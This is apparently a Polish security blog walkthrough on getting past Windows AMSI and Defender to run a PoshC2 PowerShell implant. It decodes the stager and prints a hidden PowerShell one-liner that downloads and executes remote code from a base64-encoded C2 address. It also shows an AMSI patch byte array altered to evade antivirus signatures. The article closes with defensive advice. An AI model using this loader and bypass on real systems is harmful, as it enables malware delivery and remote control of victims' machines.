Mechanizmy obronne Windows cały czas ewoluują. Wiele technologii jest stale rozwijana, a Windows Defender przestał być już traktowany jako bezsensowny dodatek zużywający nasze zasoby. Potrafi wykryć wiele zaawansowanych zagrożeń i jest porównywany z systemami AV i antymalware najwyższej klasy.
Postanowiliśmy jednak pokazać jego słabości, a bardziej ogólną słabość wszystkich programów antywirusowych, o których pisaliśmy już wcześniej.

Artykuł ten, bezpośrednio nawiązuje do artykułu o ataku z wykorzystaniem framework’a PoshC2. Napotkaliśmy tam bowiem problem, blokowania uruchomienia naszego skryptu implantu C2 w PowerShell.

Na stacji roboczej z najnowszym systemem Windows 10 zadziałały mechanizmy kontroli AMSI – zaawansowanej ochrony przed złośliwym oprogramowaniem dla użytkowników końcowych, danych oraz aplikacji.

Postanowiliśmy nie dawać za wygraną ani też nie iść na łatwiznę i po prostu wyłączyć Windows Defender w naszym środowisku, ale wykonaliśmy kroki, które pozwoliły nam ominąć sygnatury Windows i dzięki którym mogliśmy połączyć się do naszego serwera C2.
Użyjemy kilka sztuczek pozwalających z sukcesem uruchomić nasz skrypt PowerShell na Windows. Zacznijmy od zbadania obecnego skryptu, a później zajmiemy się utworzeniem własnego. Cały ten krok podzieliliśmy na dwa etapy – analiza ładunku PoshC2 i utworzenie własnego.


Krok 1 – analiza ładunku w PowerShell

Pierwsza rzeczą, jaką musieliśmy wykonać to sprawdzenie co tak na prawdę zawiera w sobie implant w PowerShell serwera PoshC2. Punktem wyjścia jest standardowy ładunek, który przekazuje ciąg zakodowany w standardzie base64 do nieinteraktywnego, ukrytego monitu programu PowerShell:

Widzimy, że ciąg znaków po przełączniku „-e” zakodowany jest w standardzie base64. Zdekodowanie jego odsłania kolejny ciąg znaków z wywołaniem funkcji IEX. Warto w tym miejscu zauważyć, że ten kod został zablokowany przez AMSI podczas naszego pierwotnego wywołania ładunku.

Jeśli przejdziemy do adresu URL, z którego metoda „DownloadString” pobiera dalszy kod możemy zaobserwować, co następuje dalej:

Powyżej widzimy, że powstaje kolejny proces dziedziczny PowerShell i następuje ponowne przekazanie zakodowanego łańcucha w wierszu poleceń. Zdekodujmy zatem drugi zakodowany ciąg:

W tym kroku widzimy, że skrypt wywołuje kolejną funkcję IEX dekoduje i rozpakowuje (gzip-em) zakodowany w base64 kolejny ciąg znaków.
Na tym etapie, gdy wprowadzimy go do okna PowerShell otrzymujemy komunikat, że nasz antywir zablokował jego wywołanie – zadziałały kolejne sygnatury Windows.

Dekodujemy dalej, aż dojdziemy do surowego ładunku:

Na tym etapie możemy zobaczyć te same ustawienia, które skonfigurowaliśmy po stronie serwera za pomocą komendy „posh-config”, takie jak URI, agent użytkownika itp.

Nareszcie dobrnęliśmy do źródła ładunku i jego surowego kodu. Jak się też okazało ten sam skrypt możemy pobrać z lokalizacji „/opt/PoshC2_Project/payloads/payload.txt” na serwerze C2.
Metoda na takie podwójne wywołanie PowerShell przez skrypt PoshC2 dla osób zajmujących się cyberbezpieczeństwem (BlueTeam) będzie stosunkowo prosta do wychwycenia w systemie, jeśli oczywiście w odpowiedni sposób monitorują PowerShell w swoim środowisku. Tutaj Windows wyszedł nam z pomocą i na wstępie zablokował już pierwsze wywołanie skryptu dzięki funkcji AMSI, w pierwszym jego wątku.


Krok 2 – Utworzenie własnego ładunku PowerShell z obejściem AMSI

Na podstawie wiedzy zdobytej powyżej (etap 1) możemy przystąpić do optymalizacji naszego ładunku i zaprojektowania własnego kodu, który ominie blokady AMSI. Pierwszą poprawką, którą postanowiliśmy zrobić, to usunięcie podwójnych inwokacji „powershell.exe” występujących w zakodowanych poleceniach. Zaprojektujemy w taki sposób nasz kod PowerShell, abyśmy mogli pobrać ładunek w bieżącym, pojedynczym wątku powershell.exe. Innymi słowy – będziemy dążyć do tego, aby wykonać tylko raz kod PowerShell. Finalna wersja ładunku otrzyma następująca postać:

c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c “IEX(New-Object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString ([System.Convert]::FromBase64String(‘aHR0cDovLzE3Mi4xNi4yMTUuMTI5OjgwMDAvMQ==’)))”

Powyższy skrypt w swoim wywołaniu realizuje:

  • Obejście AMSI w pierwszym etapie wywołania skryptu – pobiera specjalny skrypt z zakodowanego w Base64 adresu URI. Skrypt ten opiszemy poniżej.
  • Załadowanie w tle surowego skryptu zdekodowanego w etapie 1 – pobrany w tle skrypt omija AMSI i pod koniec ładuje funkcją IEX w jednym wątku drugi surowy skrypt PoshC2 (zdekodowany w etapie 1 powyżej), który nawiązuje komunikację z serwerem C2.

Ponieważ nasz ładunek podczas uruchomienia w pierwszej kolejności jest przechwytywany przez funkcję AMSI antywirusa, możemy obejść funkcję AmsiScanBuffer, tak aby zawsze zwracała poprawny wynik. Jeśli zrobimy to w poprawny sposób, w pierwszym wywołaniu skryptu mamy duże szanse, że nasz surowy skrypt ładunku PoshC2 zostanie poprawnie załadowany. Wszystkie pozostałe moduły będą dziedziczyć nasze „obejście” w bieżącym obszarze pamięci wątków.

W celu obejścia AMSI użyliśmy specjalnego skryptu z Github użytkownika RastaMouse, w którym nieznacznie zmodyfikowaliśmy kod, aby nie był wykrywalny przez sygnatury antywirusa. Wykonaliśmy małe ćwiczenie z inżynierii wstecznej i zmodyfikowaliśmy ostatnią wartość w tablicy bajtów w zmiennej $Patch przy użyciu prostej arytmetyki 

$ Patch = [Bajt []] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2 + 0x1)

Wynik w postaci skryptu prezentuje poniższy ekran:

Na końcu powyższego skryptu pobieramy funkcją IEX drugi ładunek, który jest surowym ładunkiem skryptu PoshC2 (oba skrypty o nazwie „1” i „2” umieściliśmy na serwerze C2). Wszystko jest wykonywane w bieżącym wątku, dlatego AMSI nie zareaguje na drugie wywołanie ITEX, ponieważ przepuścił nas na samym początku.
Zdecydowaliśmy się także na użycie surowego ładunku i niezaciemnianie go z uwagi na względy bezpieczeństwa wokół funkcji blokowania skryptów „ScriptBlockLogging” w Windows.
Wywołanie naszej linijki PowerShell możemy zaobserwować na poniższym ekranie:

Oraz udane połączenie z serwerem PoshC2:


Podsumowanie

Podczas naszych testów uruchomienia ładunku (standardowego skryptu PowerShell z PoshC2) zadziałały funkcje ochrony AMSI, które byliśmy w stanie ominąć pisząc własny skrypt. Podobnie zachowałby się system Windows, gdybyśmy wybrali inną z dostępnych metod uruchomienia ładunku wygenerowanych w PoshC2. Lecz zapewne i w tych przypadkach użycia innych metod moglibyśmy znaleźć obejście.

Daje nam to kolejny argument, że bezpieczeństwo to znacznie szersze pojęcie niż wbudowane funkcje systemu operacyjnego Windows i antywirus, dlatego w celu zabezpieczenia się przed tego typu malware’em musimy wdrożyć odpowiednie środki, aplikacje i konfiguracje, które zminimalizują ryzyko przeprowadzenia takiego ataku. O takich zabezpieczeniach pisaliśmy w artykule o PowerShell, a także w kampanii Akronimy Bezpieczeństwa.